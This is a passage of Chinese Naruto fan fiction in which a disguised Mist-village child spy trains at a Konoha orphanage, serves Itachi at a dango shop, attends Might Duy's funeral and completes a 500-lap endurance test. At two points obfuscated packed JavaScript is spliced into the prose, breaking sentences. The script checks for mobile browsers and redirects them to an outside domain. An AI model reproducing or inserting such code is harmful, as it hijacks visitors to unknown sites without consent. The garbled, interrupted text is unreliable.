凉纪的表情平静到有些冷酷:“我不会活到自己成为拖累的时候。” 兜停下脚步。尽管他之前失去记忆,有些没常识,但他感觉凉纪比他还要没常识一些。 “这样会让院长伤心的。就像伊多波叔叔,无论恭史郎怎么酗酒,怎么浑浑噩噩,怎么抢他的抚恤金,哪怕他口头上会骂恭史郎不如死外边,他内心还是希望恭史郎活着。不然他直接把钱都存在银行里就行,不用经常取出现金供恭史郎去拿。” 比起些微——或许不止些微——的伤心,不是最终目标更重要吗?凉纪看着兜,心中想道。 哦,原来是这样。凉纪明白了。不是每个人都有一定要完成的夙愿。凌驾于一切之上的夙愿。归根结底,妈妈和药师野乃宇,凉纪和兜,都是不一样的人。 她没有再反驳,而是顺从地点点头,说道:“我肯定会注意安全,不让自己轻易陷入危险。对了,兜的忍术是在哪里学的,是院长教你的吗?” 兜听她生硬地转向忍术的话题,内心叹了口气。虽说来到孤儿院的孩子多多少少都有些心理问题,但看来凉纪算是严重的那批。 他面上还是不变的温和的笑:“是的。不过想要学习忍术的话,需要通过院长的考核。这考核可不简单,凉纪你要做好心理准备。” 凉纪抿了抿唇,目光坚定地说道:“我会通过的。” 不管前方是什么,她都会坚定地走向唯一的那条路,无论终点是胜利——还是死。 9. 团子要分着才好吃 这一上午,兜带着凉纪去了一大堆退役忍者家,凉纪也见识到了各种各样的伤患。大多数是缺胳膊少腿,也有表面没什么伤势,但一步三喘气的。 虽说都是不同的忍者,可凉纪总觉得除了负伤隐退外,他们还有什么地方特别相似。 是失去希望的无神双眸吗?不,有的人只有一只眼睛,有的人没有眼睛。是悲观绝望的态度吗?不,没有人痛苦流涕,有的人沉默寡言,有的人还言笑晏晏。 凉纪不再深想。她已经习惯了无法看穿他人的内心。 已是日上中天,太阳尤为炽烈,兜出了一身汗。好在他之前领的那一叠报纸已经卖光,不用再继续了。 凉本来不会出汗,为了维持自己普通人的人设,硬生生把自己逼出了一身汗。 把卖报纸得来的钱分给报社的工作人员一半,兜带着凉纪回到孤儿院。 进门后,他笑着对凉纪说道:“凉纪,你先去洗手吃饭吧,我把今天上午卖报纸的钱给院长。” 见凉纪点点头走进盥洗室,兜敲了敲药师野乃宇书房的门。 “进来吧。” 听到药师野乃宇的声音,兜推开房门走进房间,把房门在身后阖上。 药师野乃宇问道:“今天和凉纪出去半天,你觉得她怎么样?” 兜拉开药师野乃宇书桌前的椅子,坐了下来:“就我和她今天的相处,我感觉她心中有一股很深的执念,还有自厌自毁的倾向。不过,我完全可以理解。” “她和你讲了她来之前的事?” “是的。她和我说,她想要成为忍者,向敌人复仇。” “你的建议是什么?” 兜沉思片刻,终于说道:“虽说我个人认为,让她学习忍术,是给予幼儿开刃的刀,有可能伤害敌人,但更可能伤害自己,但我还是建议教给她。由我们指导总比其他人好一些。” “对了,”兜露出有些促狭的笑容,“我和她说院长在教授忍术前,会给予很难的考验,院长你可得好好想想怎么测试。” 药师野乃宇无奈道:“好好好,我会认真想的。” 兜微微鞠了一躬:“那我就先行告退了。” 药师野乃宇看着他的背影。 尽管来的时间还不到一年,又失去了之前的全部记忆,但兜天生的聪慧、体贴和机敏,让药师野乃宇不由得给予他更多关注。 而兜也没有辜负药师野乃宇的期待。 他忍术的天赋让在木叶村见惯了天才的药师野乃宇都有些惊异,平时也会善解人意地调停孩子们的纠纷,把风浪抑制在最初的时刻。 或许正是因为他的过去是张白纸,对比其他孩子刚来的表现,他反而没什么心理上的问题。 而凉纪不一样。 药师野乃宇不能说她的过去是最悲惨的。人的悲惨从来都无法比较。但她深深压抑在内心的东西,比大部分人都更深沉一些。或者说……更阴暗一些。 要构想一个怎样的测试呢…… 药师野乃宇看着今天发行的《木叶日报》,心中有了一个主意。 * “下午还要出去卖报纸吗?”吃完午饭后,凉纪向兜问道。 “不用,有可能买报纸的客户一般上午都已经买到了。下午我一般会练习忍术或者学习文化知识。”兜回答。 见凉纪因为无事可做而一副迷惘的样子,兜微笑着说:“吃饭前我问过院长,她同意教授你忍术了,应该没多久就会要你去参加测试。不管是测试还是学习忍术都是很辛苦的,在那之前你就好好休息下吧。” 休息……凉纪的字典里没有这个词。她一直生活在高强度的练习当中,只有来火之国执行任务的这两天是最轻松的。 昨天和久米佑说了自己不会吃白饭,要不下午去孤儿院旁边的森林里采蘑菇和药材?凉纪认真思考着。 “欸?凉纪你要学习忍术吗?”千杏好奇地问。见凉纪点头表示肯定,她低头有些失落地说:“乌鲁西、兜和你都要去学忍术,就我没学,总感觉被排挤在一边了。” 金太郎举起手,不满地碎碎念道:“我也没有学啊。果然我不被人放在眼里,什么都不会把我算上。” 乌鲁西不满地拍了下他的头:“适可而止吧。” 金太郎又阴暗地种蘑菇去了。 “千杏想学的话,院长测试我的时候也可以加入进来。”凉纪认真地说。 她又补了一句:“我相信千杏可以通过的。” 千杏叹了口气:“我之前试过提炼和使用查克拉,但我控制查克拉的天赋实在太差,绝大多数的查克拉都被浪费了,按院长的判断,恐怕我很难学会忍术和幻术,只有体术才有可能。但练习体术又要吃很多肉,这样会给院里增添好多负担。” “这样就没办法了。”凉纪歪着头想了想。如果她一直留在孤儿院,倒是可以经常帮千杏捉兔子钓鱼,给她补充蛋白质。但任务完成后她就会离开木叶村,这样的话反而不能给千杏期待。 兜插话道:“千杏姐在团子屋也很厉害呀,店长还说要收你做学徒。” 千杏的低落来得快去得也快,她很快就又恢复成平时元气满满的样子,顺着兜的话兴高采烈地对凉纪说:“凉纪,你上午帮兜去卖报纸,下午就来帮我吧。说不定店长还会送你一串三色丸子。” “其实我没有帮兜卖报纸,只是跟在他身边而已……”凉纪说道,但她的声音被盖住了。 几个男生七嘴八舌地嚷道:“免费的丸子我也想要……” 千杏搂住凉纪的脖子:“这是女生限定福利!而且还不一定会送呢。” 孩子们分工收拾桌子、洗碗、打扫厨房后,千杏拉着凉纪兴冲冲地跑到团子屋。 “玉江阿姨!奈穗姐姐!”千杏朝团子屋里的两个人挥手道。 流里台后的奈穗微笑道:“千杏还是一如既往地快呢。”她是团子屋店主玉江的女儿,一直在团子屋帮玉江做事。 千杏把凉纪推到身前,笑嘻嘻地说:“她是和我一个孤儿院的凉纪,今天我叫她也过来帮忙!当然是不用工钱的!” 玉江故作严肃地说:“你就叫你朋友打白工吗?” 千杏有些不好意思地低头说道:“让她来陪陪我嘛。之后会请她吃团子的……” 见凉纪想说什么,千杏凑到凉纪耳边低声道:“我这么多天也攒了点零用钱,等下午忙完请你吃三色丸子。” 原来不是店长送啊…… 团子屋的工作倒不繁忙,比上午反而还轻松一些。制作料理的是玉江和奈穗,她和千杏只负责端盘子、收拾桌子和洗碗。 尽管还处在战争期间,团子屋的人流量也不低,还有许多不堂食直接外带的。来团子屋的客人不乏现役忍者,有的人还没换下染血的衣服,仿佛刚从战场撤下。不,应该就是如此。 把餐盘送到客人桌上,回到后厨后,千杏和凉纪说着悄悄话:“团子屋在木叶村可是很知名的,好多忍者都会来我们店买吃的。就连村里第一大家族宇智波一族,都经常有人来店里吃丸子。” 凉纪低声问道:“现在进来的那两个,是宇智波一族的吗?” 千杏抬眼望去,有些惊讶地说:“说曹操,曹操到。”她不再和凉纪说话,跑到掀开帘子进来的两名宇智波面前,用一贯热情的语调说道:“欢迎光临!两位想要点什么呢?这边是菜单。” 来的是一对大人小孩的组合。凉纪会认出来人是宇智波一族,是因为大人衣服袖子上印有团扇的图案。在雾隐村,凉纪曾听说过宇智波一族的威名。据说宇智波一族上战场的都是精英,部分宇智波会拥有与众不同的眼睛——写轮眼。开了写轮眼的宇智波,拥有远超普通忍者的优势。 那个满脸严肃的大人对千杏说了什么,千杏洪亮而热情的声音立即传来:“四串丸子打包!” 将事先揉好的不同颜色的糯米团放入滚水中,小火煮到浮起,奈穗熟练地把煮熟的丸子捞起,过冷水冷却,串好竹签后放到纸盒里,淋上团子屋特制的红糖酱汁,四串三色丸子这就做好了。 凉纪端起纸盒,走到两个宇智波面前。 “请您享用。”将纸盒放到桌上,凉纪对他们鞠躬说道。 小一点的宇智波点头致谢:“谢谢。”他明明脸上还带着婴儿肥,神情却和大人一样严肃。没有小孩强装成人的违和感,他从骨头里生出来一种气质,沉静——乃至冷淡的气质。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375517|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >付过钱后,两个宇智波很快离开了。 千杏又拉着凉纪到后厨叽叽喳喳地说着话。凉纪嘴上应着,心里却想着刚才离开的两个宇智波。 他们身上都有血腥气。包括那个比自己还小的宇智波。 虽然更可能是训练时受的伤,但凉纪忍者的直觉告诉她,这两个人都实打实地见过血。 自己第一次参与实际战斗是上忍者学校的前几天,不知那时的自己和刚刚的那个男孩比起来谁大一些。 看来木叶忍村的精英一族,也是从娃娃抓起。自己并没有什么优势。努力,还是努力——凉纪告诫着自己。 等到晚饭时分,千杏从兜里掏出几枚硬币,放到柜台上。 “一串三色丸子!”她大声说道。 “只要一串吗?”奈穗笑着问,“你和凉纪两个人怎么分?” 千杏两手一摊:“没钱嘛,我就不用吃了,反正我以前也不是没吃过。” 因为个儿不高,被柜台挡住视线,直到奈穗递过去,千杏才发现给她的是四串丸子。 奈穗浅浅一笑:“柜台上的钱拿回去吧,这几串是我请你们的。” 千杏涨红了脸:“我……我不用!我又不是要饭的,不用请!” 不知何时取下手套,走到前店的玉江把柜台上的钱一把塞到千杏口袋里:“几两而已,推来推去的像什么话。” 奈穗温柔地笑道:“我请你不是因为可怜你,而是因为这些天来,我非常喜欢你,所以今天你招待朋友,我也想尽一点自己的心意,让你高兴高兴。” 千杏被这一记直球打得猝不及防,结结巴巴地说道:“那……那……谢谢奈穗姐姐。啊……还有玉江阿姨。” 千杏拉着凉纪走到桌边,像个正经的客人一样坐在椅子上,玉江给她们倒了两杯茶。 她不复一直以来的外向,有些害羞地说:“请享用。” 凉纪双手合十,和千杏一起说道:“我开动了。” 团子散发着红糖的甜蜜气息,一口咬下去糯糯的有些粘牙,但又软软的,不用费力咀嚼,甜丝丝的滋味一下就滑下肚了。 虽说凉纪不太爱吃甜,但三色丸子确实很好吃,难怪这么多人来买。 “还剩下两串,孤儿院的大家不够分欸。”千杏苦恼地抱住脑袋揉了揉头发,“除了我们还有十个人,六个丸子,一人分半个丸子又多了一个。” “这个让他们自己分就好了吧。”凉纪说道。 “对耶,有他们吃就不错了,让他们自己去抢吧。”千杏不复苦恼,顶着一脑袋的乱发,笑嘻嘻地说道。 她冲奈穗和玉江挥了挥手:“我们回孤儿院啦!” 奈穗也微笑着摆手:“一路上注意安全。” 且不提孤儿院里六丸杀十士的鸡飞狗跳,宇智波族长的宅邸里,宇智波鼬靠在走廊边的柱子上,沉默地仰头望着已经升上天空的弯月。 月亮曾圆,但总会变得残缺。 明明已经洗过澡换过衣服,但他仿佛还能闻到一股血腥气从自己的身体里散发出来。能让孤儿院的孩子高兴一整天的四串三色丸子(而且还刚好不用纠结分配问题)随意地放在一边的盒子里。 因为宇智波鼬初上战场就击杀了一名敌方忍者,超出了宇智波富岳的期待,为了奖励鼬,富岳专门给他买了四串他平时最喜欢的三色丸子。但鼬却完全没有食欲,只感觉胃里沉甸甸的。 团子屋里又多了一名小孩,平时没见过她。她和在团子屋帮工的孤儿相熟,大概也是木叶孤儿院的成员吧。这个世界上又多出一名无家可归之人。 战争让无数人流离失所,失去生命,它的意义到底是什么?人为什么要在战场上夺走生命,仿佛对方不是和自己一样会笑、会哭、会流泪的人类? 宇智波鼬久久思考着。良久,他拿起一旁的三色丸子,吃了起来。因为放太久,丸子有些干硬,难以下咽。为了不浪费粮食,他机械地把一串又一串的丸子塞进嘴里。宇智波富岳只不过送鼬回村一趟,早已又返回战场。而宇智波美琴没有从战场上下来过。他没有分享丸子的人。 把丸子全部吃光后,宇智波鼬走进空无一人的大宅,随手把纸盒和竹签扔进垃圾桶。 10. 考试总是考没复习过的内容 昨天晚上的梦中,那些片段的颜色变浅了,片段也变得更不连续,更跳跃。想必是记忆融合的后遗症在逐步减轻。 按这个速度,没几天,凉纪就会恢复忍者应有的睡眠。遇到突发事件立即醒来的睡眠。 不过,这并没有减轻凉纪学习忍术的迫切心理。 今天院长会带自己去进行测试吗?餐桌上,凉纪一边咀嚼,一边默默在心里想着。学习忍术只是第一步,还有后续的步骤。如果妈妈知道自己的进度,她会露出失望的眼神吗?凉纪克制着不露出焦躁的表情。 早饭后,平常已经去木叶医院上班的药师野乃宇没有去医院,而是朝凉纪招了招手:“凉纪,今天你和我去一个地方。对了,去之前先换上我给你准备的衣服。” 要去哪里?是去测试吗?跟在药师野乃宇身边,凉纪思忖着。昨天凉纪已经把木叶村地图记了下来。按照她们现在的方向,她们前往的是—— “我们到了。”药师野乃宇停在一个破旧的木屋前。 ——迈特戴的家。 药师野乃宇将装好奠仪的信封放在门口的桌子上,走进大门。凉纪默默跟上,和她一起在几个穿着肃穆黑色礼服的人身后站定。 昨天她看了兜贩卖的报纸,头版头条就是《1vs7,木叶下忍完胜雾隐村忍刀七人众》,也知道正是迈特戴阻挡了忍刀七人众的行动,但直到来到葬礼,她才货真价实地感受到,迈特戴和自己深深的关联。 房间里的人着实不多,不过廖廖数人。凉纪还以为打倒忍刀七人众的英雄会有更多人来祭奠。 客厅最里面的桌子盖了张布充作祭坛,祭坛上放着一个粗眉毛男人的遗像和黄布包裹着的骨灰盒。遗像上的男人穿着奇怪的绿色紧身衣,向前竖起大拇指,脸上是露出牙齿的闪亮笑容,和房间里满脸肃容身着丧服的人们格格不入。 前排一个穿着黑色衣服的少年忍者走到遗像边。他有着和遗像上的男人一样粗的眉毛,应该是迈特戴的儿子,但报纸上没有记载,凉纪不知道他的名字。 他努力露出一个亮出牙齿的笑容,却又抑制不住哭意,脸上的眉毛和肌肉皱在一起,显得有些丑。 他伸出大拇指,对着参加葬礼的人们说道:“感谢大家参加家父的葬礼!但不用摆出悲伤的表情!父亲在守护自己最重要的东西的时候,激情燃烧自己的青春至最高潮!他一生都在绽放自己的青春,之后也是!他的青春永远不会结束!” 房间内几名参加葬礼的忍者不知如何反应时,一个戴着蓝色头巾,反系木叶护额,脸边垂着棕色长发的少年适时走到灵柩前,朝遗像深深鞠了一躬。 “迈特戴先生,感谢您的出现救下了我和我的同伴。”随后他起身,和遗像边的少年拥抱了一下。 在他回到人群中后,一个戴着一副小圆墨镜的少年忍者也跟着走出来,学着前一个人向遗像致谢。但他的话比上一个人长得多:“迈特戴先生,在我和同伴深陷危机时,您向英雄一样震撼出场,摧枯拉朽地打败敌人……” 他说了一大串才回去。 一个个忍者接连上前,轮到药师野乃宇了。 她鞠了一躬,说道:“迈特戴先生,感谢您拯救木叶村于危机之中。” 最后,是凉纪。 自己正在执行的计划是杀害迈特戴的罪魁祸首,自己也可以算是间接杀害迈特戴的凶手之一。迈特戴又是替被自己窃取身份的男孩复仇的恩人,哪怕凉纪对人心不敏感,也觉得让她来参加葬礼致谢太地狱了些。 她上前一步鞠躬,简单地说道:“迈特戴先生,忍刀七人众屠杀了我的村子,感谢您替他们复仇。” 凉纪之后再没有其他人,葬礼进入下一个环节。迈特戴的儿子抱着骨灰盒,众人随着他走到墓地。 等到他将骨灰下葬,把捧花放到墓碑前,众人站在墓碑前默哀,做最后的告别。 葬礼过后,药师野乃宇对凉纪说:“你先回去吧,我找迈特凯有一些事。”迈特凯……是迈特戴儿子的名字吗?凉纪点点头,随着四散的人群离开墓地。 参加葬礼的人们都已经离开,只有一排排灰色的墓碑无声伫立着,墓地显得十分空旷。迈特凯怔怔面对其中最新的一块,不知在想着什么。 “凯,我想向你咨询一件事。”他的身后传来药师野乃宇的声音。 迈特凯重新扬起笑容,转身对药师野乃宇说道:“不管是什么事,尽管问我吧。” “你6岁的时候,每天训练强度有多大?” “因为每天训练程度不太一样,所以有点难清楚说出来……”迈特凯思索片刻,说道,“绕学校跑600圈,完不成就一口气做200个俯卧撑,再完不成就踢木桩1000下……” “没想到你的训练强度这么高。”药师野乃宇感叹道,“我本来想用来参考的。” 迈特凯疑惑道:“用来参考什么?” 药师野乃宇解释道:“我之前和你说过凉纪的事。她一心想要向忍刀七人众复仇,希望向我学习忍术。在教授她忍术前,我想知道她面对难以逾越的难关时真实的选择。在我的了解中,你的训练强度是木叶村最大的,可以用来作为测试题的参考。” “这种测试会有意义吗……”迈特凯挠挠头。 药师野乃宇面色有些凝重:“或许这句话同你说不太合适,我不赞同凉纪的复仇。虽说忍者本就与死亡相伴,但追逐仇恨的人比寻常忍者距离死亡更近。” 迈特凯没有说话,但他的脸上明明白白写着不认可。 “但是,”药师野乃宇继续说道,“有的时候,复仇心理也可以给忍者带来更强大的力量。所以,在教授凉纪前,我要判断她是哪种人。是能够从仇恨中汲取力量的人,还是因为仇恨走向自我毁灭的人。为此,我需要凉纪到达自己的极限。” 迈特凯露出两排亮白的牙齿:“不要太担心,绽放全部青春活力的孩子们说不定会让你吓一大跳!对凉纪的测试,我也可以一起参加吗?” “当然可以。”药师野乃宇欣然说道。 * 凉纪从未因为即将到来的测试而感到焦躁烦恼,因为无论面对的是什么,她都会一一跨越过去。她只担心测试开始得太晚,浪费了任务的时间。 第二天一大早,得知测试马上进行,她不由得感到喜悦与如释重负。 跟着药师野乃宇来到忍者学校附近,凉纪发现昨天那个粗眉毛也在这里。 迈特凯……应该是和院长一起对自己进行测试的。 药师野乃宇浅笑着对凉纪说出她的测试题,但题目内容和她笑眯眯的表情形成强烈的对比:“凉纪,之前兜应该和你说过,需要通过测试,我才会教你忍术。现在我来公布第一项测试——绕忍者学校跑500圈。” 绕学校一圈大约1000米,普通人极限冲刺的速度跑500圈,要至少13个小时。但人是不可能一直极限冲刺的,真正跑下来,时间会远远超过13个小时。 这是考验自己的毅力和耐力吗?凉纪这样判断。在雾隐村,虽然时常训练到精疲力竭,但她确实没进行过如此长时间的耐力训练。毕竟,忍者要么是一击不中远遁千里,要么是狭路相逢即刻分生死,追逐战也更多看的是速度和实力,超长时间消耗体力的对战不多。应该是木叶特殊的测试。 “现在开始?”凉纪问道。 药师野乃宇点点头。 凯露出闪亮的笑容:“我长期在外执行任务,已经好些天没有进行系统的锻炼了,正好一起!” 他就是随行监考的考官吗…… 凉纪伏下身子,匀速朝前跑了起来。 比起完成测试,对于凉纪来说,更大的考验反而是保持普通人的状态跑完全程,从而不引起怀疑。 需要提前表现出筋疲力竭的样子吗?凉纪思忖着。毕竟她的实际体能还是远超过普通人的。 不,突然没力气反而显得可疑。必须要在每一个阶段都表现得和普通人无异,不能让人发觉出不对劲。但凉纪能运用查克拉之前,没有连续跑过这么远,不确定真正的普通人会如何表现。通过暗地里使用忍术的方式倒是可以削减体力,让她表现得和普通人一样,但迈特凯就在旁边,使用忍术很有可能被他察觉。 这样的话,只有一种办法。 跑着跑着,凉纪忽然为了躲避行人,摔倒在地。 迈特凯惊道:“你没事吧?” 凉纪爬起来,一边继续跑一边说:“没事。” 她的脚是不是扭伤了?迈特凯仔细观察着,但刚才被行人遮挡,他没有看清,现在凉纪表现得又十分正常。 “如果受伤了的话和我说,我们先去治疗。”迈特凯叮嘱道。 凉纪扬起一个淡淡的微笑,说道:“谢谢关心,我没有受伤。” 她感受着左脚腕传来的阵阵刺痛,却仿佛没事人一般继续往前跑着。用伤势增加自己的体能消耗,这样自己就可以表现得像一个真正的普通人。 因为凉纪摔倒时已经拐了弯,忍者学校前的药师野乃宇并没有看见她摔倒的那一幕。但她还是有些忧虑:听到自己的测试, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375518|184034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凉纪完全没有表现自己的疑问和质疑。是没有意识到测试的难度吗?还是说,她的决心就是如此坚定呢? - 呼……哧……呼……哧…… 凉纪汗如雨下,红发一条条地黏在脸上。她感觉自己的肺部在灼烧。浑身肌肉酸痛,左脚腕更是在每次落地时彰显自己的存在感,传来钻心的刺痛。中途她有短暂停步一段时间喝水吃东西,但这点休息不过是杯水车薪,反而让重新迈步后的疲累更难以忍受。 她一直在记自己的跑圈数,现在不过跑了262圈,将将一半而已。但现在她都有些难以维持正确的跑步姿势了。如果被迈特凯看出来自己左脚腕受了伤,那自己的谋划全部作废。 她也没办法用医疗忍术治疗,如果迈特凯发现自己忽然变得没那么吃力起了疑心,自己到今天的潜伏全都白费。 难不成,自己要失败了吗?!在最初学习忍术的环节就失败?!不!她才不是只有这种程度的人! 凉纪永远不会输。 区区疼痛而已。 迈特凯看着大口大口呼吸着,却仍保持速度不变朝前跑的凉纪。已经跑了400圈,16个小时,作为一个没有凝聚查克拉的普通人,凉纪能坚持到现在已经超过绝大部分人了。这绝不只是因为身体天赋,更多是因为忍耐痛苦、永不放弃的坚强毅力。 身体好沉重……浑身肌肉都在剧烈颤抖着,酸痛到仿佛不是她身上的东西。左脚腕的痛仿佛有感染力,带动整个左半边身体都疼痛起来。汗水不停冲刷着整个脸庞,遮住了凉纪的眼睛,她眼前一片模糊。肺部火烧火燎地疼痛着,凉纪感觉每呼出一口气都带着血沫。尽管她像个破风箱般不停吸气呼气,但她还是仿佛氧气不足一样感到阵阵眩晕。 “咚咚”,“咚咚”,心脏爆炸一般不停跳动,仿佛要跳出胸膛。心跳声盖过了周围的一切杂音,她只是机械地往前,下一步,再下一步。 连凉纪自己都不知道是怎么成功迈出脚步的。 可她还在不停迈步。 坚持……凉纪对自己说道。 坚持……迈特凯在心里鼓舞着。 照耀凉纪和道路的光从阳光换成路灯和月光,凉纪的影子不断拉长又变短。落下的太阳重新升起,清晨的阳光照亮着凉纪的脚步前的路。 第500圈终于结束了……凉纪感觉这一天无比漫长。 她停下脚步,浑身一软,差点摔倒在地,还是坚强地保持着站立的姿势。 迈特凯冲她竖起大拇指:“少年!祝贺你通过了这场测试!成绩非常优异!” 药师野乃宇在忍者学校门口等待着。她从没有想过凉纪能够坚持下来。她只是想知道,凉纪会选择在体力不支的时候停步,还是坚持跑到失去意识。没想到,凉纪交出了远超她想象的答卷。 除了执着之外,凉纪还拥有天赋的体能,这让她能够坚持跑完全程。忍者的世界非常残酷,无论你拥有怎样的愿景和毅力,缺乏天赋的话,还是走不远。天赋加上毅力……也许,凉纪是那种能够从仇恨中获得强大力量的人。 将凉纪背到背上,和迈特凯告别后,药师野乃宇朝孤儿院飞奔。 孤儿院的孩子们都已经下楼吃早餐,一些不知道凉纪测试的孩子有些纳闷地看着药师野乃宇背着凉纪上楼。 窃窃私语声从凉纪的耳朵里流进,很快又流了出去,她已经没力气去分辨他们说了什么。 在药师野乃宇把凉纪放上床之前,凉纪挣扎着下来了。尽管眼前天旋地转,凉纪还是坚持着说:“谢谢院长带我回孤儿院。抱歉我需要睡一觉,才能再跟您学习忍术。” 药师野乃宇一愣:“这有什么抱歉的。你直接躺床上,我帮你治愈肌肉的拉伤。” 凉纪摇摇头,这让她的眩晕更严重了:“不用治疗。昨天的跑步是很好的锻炼,治疗后效果反而会减轻吧。”若是院长用阳遁查克拉探查自己的身体,说不定会发现左脚踝的伤。 药师野乃宇看着凉纪摇摇晃晃地走向盥洗室。她居然还有洗漱的余力。 等凉纪快速擦完身子出来,翻上床后,看到药师野乃宇拿着一碗糖水重新进门。她递给凉纪说道:“喝完再睡。” “好。”凉纪坐在床上说道。她咕噜咕噜喝着糖水,喝完后把碗递给药师野乃宇,同时心想,今天——不,昨天的测试才真正把自己逼到极限。虽然以前自己常觉得已经竭尽全力,但看来这还不够,自己还得更加—— 她没能再想下去。这些思考耗尽了凉纪最后一分体力,她就这样举着碗睡着了。 11. 人常常在最熟悉的地方跌倒 凉纪醒了。 她回孤儿院时不过晨光熹微,而现在,盛放的阳光穿透树叶和窗户,哪怕只是零碎的光斑都带来一丝丝热意。 醒前,她没有做梦。也许有,不过她也记不起来了。 看来,高强度的训练是对抗记忆融合后遗症的好方法。 自己睡了多久?凉纪无法判断。她撑住床边的栏杆翻身下床,往楼下走。浑身的肌肉还是有些酸痛,脚踝也仍然一跳一跳地疼,不过比起睡前要好得多。 孤儿院空无一人,只余灰尘在阳光中飞舞。凉纪看了看钟,是下午两点,大家都出去干自己的事了。 这时,一个胖胖的阿姨从厨房走出来,她有些惊讶地说:“这就醒了?我以为你还得睡很久。”她是孤儿院的厨娘凯莉,负责十二个孩子和孤儿院职工的一日三餐。 凯莉又重新进去了厨房,等她出来时,手上端着一个装满食物的盘子。 米饭的清香混合着咖喱复杂而有层次的香味传来,凉纪这时才发现肚子早就饿得咕咕叫了。 在凉纪一勺一勺往嘴里塞着咖哩饭时,凯莉把围裙挂到厨房门后,坐在她身边不满地说道:“院长也真是的,让一个小孩子去做强度这么大的训练。” 凉纪吞下嘴里的东西,对凯莉认真地说:“不要这么说。想要成为忍者,不经过刻苦努力是不可能成功的。院长这样做,才是正确的。” 凯莉叹了口气:“对你们忍者的东西,我总是搞不懂。对了,”她想了想说道,“院长说如果你醒了,就去二十三号训练场找兜。” 院长要自己找兜?应该是让他教授自己基础忍术。凉纪飞速吃完饭,正准备把盘子拿到厨房,凯莉却把盘子端走,往外挥手作驱赶状:“我来收拾就好,你快点去吧。” “谢谢。”凉纪朝凯莉低头道谢,随后连忙赶往训练场。 见凉纪已经到了,正在和木桩对打的兜停止训练,擦了下汗说道:“凉纪,没想到你这就醒了。我还以为你会一直睡到明天。” “很久吗?”凉纪奇怪地说,“我回到孤儿院的时候是早上六点,到现在下午两点,已经睡了八个小时,够久了。” “你的精力真是意外地充沛。”兜哑然失笑,“一般人经过时间这么长的锻炼,又一晚上没有睡,得好久才能恢复精神。” 在刚开始学习忍术的阶段,凉纪不管经受怎样艰苦的训练,都是睡一觉就能恢复精神,她还以为别人也是如此。应该是自己身负漩涡一族血脉的缘故。 “大概是因为我天生精力比较充沛吧。”凉纪道。 这可真看不出来,兜心想。仿佛是为了和名字照应,和凉纪在一起时,总感觉凉纪周身弥漫着如夜如雾的微凉。不到冰冷的程度,但决计说不上温暖。 凉纪很快转向下一个话题,也是她期待的那个话题:“凯莉说院长让我醒来后找你,具体是要干什么?” 虽然她没有直白地说出来,但看着凉纪和阳光一样熠熠生辉的金色双眼,就知道她在期待什么。这是兜和凉纪不多的相处中,凉纪的心情最外露的一次。 兜微笑道:“就是你想的那样。院长让我教你查克拉的基本运用。院长还兼任医疗部队队长,平时时间不多,基础部分就由我代劳了。” 毕竟本来就会,在兜讲解并演示一遍后,凉纪很快就成功提取了查克拉。 这次兜倒没有太惊讶,他自己和凉纪一样,也是即刻就学会如何提取查克拉。 “下一步是控制查克拉在经脉系统中流动。可以选择不释放出去而是聚集在特定部位,对其进行强化,也可以选择通过查克拉穴释放忍术……” 听着兜的讲解,凉纪假作练习将查克拉聚集在整个左脚,用医疗忍术治疗着左脚踝的拉伤。昨天她有特别注意没有伤到骨骼和经脉,很快就治好了伤势。 同时,她暗地里使用着神乐心眼。 神乐心眼是对漩涡一族天生感知能力的扩大和调控。虽说并不是所有漩涡一族都具有超强的感知能力,但凉纪属于具有强感知的那部分。 学习忍术前,凉纪就可以隐隐感知到周围的人的查克拉。开始学习忍术没多久,凉纪就可以大范围感应其他忍者的查克拉。学习神乐心眼后,她的感知范围进一步扩大,感知的内容也更加精细。 感知忍术的本质是查克拉的交互,使用感知忍术时,忍术范围内的其他感知忍者会察觉到有人使用感知忍术,反之亦反。进入木叶后,为了顺利潜伏,凉纪隐藏了自己的查克拉,从而不被感知。但同时,凉纪也失去了感知自己是否处在其他感知忍者感知范围的能力。 现在,凉纪终于可以使用查克拉。她小范围地感知着周边。令她意外的是,和雾隐村不一样,木叶居然没有覆盖全村范围的感知忍术。 雾隐村在设置包围整个村子的结界之外,还安排了感知忍者轮班感知村内外情况。这是基于漩涡一族覆灭的教训。对于漩涡一族的覆灭,最刻骨铭心的,除了漩涡一族的遗民之外,就是雾隐村。 拥有最强感知能力和封印术的漩涡一族为何会猝然毁灭,连逃跑都来不及?原因之一,是因为一战后长达二十年的和平,麻痹了漩涡一族的神经。更别说,哪怕在一战时,漩涡一族都没怎么参战。 时值第二次忍界大战初期,战火集中在火之国、土之国和风之国交界的雨之国中,涡之国自以为不会波及到自己,上上下下沉浸在安乐的氛围中。 但涡之国没有想到,雾隐村二代水影不久前与二代土影同归于尽,新上任的三代水影,为了建功巩固自己的地位而蠢蠢欲动。他盯上了水之国的近邻涡之国。 雾隐村掳走了一名在外执行任务的漩涡一族族人,详细了解了涡潮村的防备举措,得知涡潮村和绝大多数国家一样,只设置了村外的感知结界,村内值班忍者只负责监视结界,没有在更大范围进行警戒。 尽管拥有众多感知忍者,涡潮村却没有好好使用他们。作为五大国之一火之国的盟友,又拥有数目繁多的感知忍者和封印忍术,涡潮村没有时刻保持警惕的危机感。 这不是涡之国覆灭的直接原因,却大大降低了雾隐村覆灭涡潮村的难度。 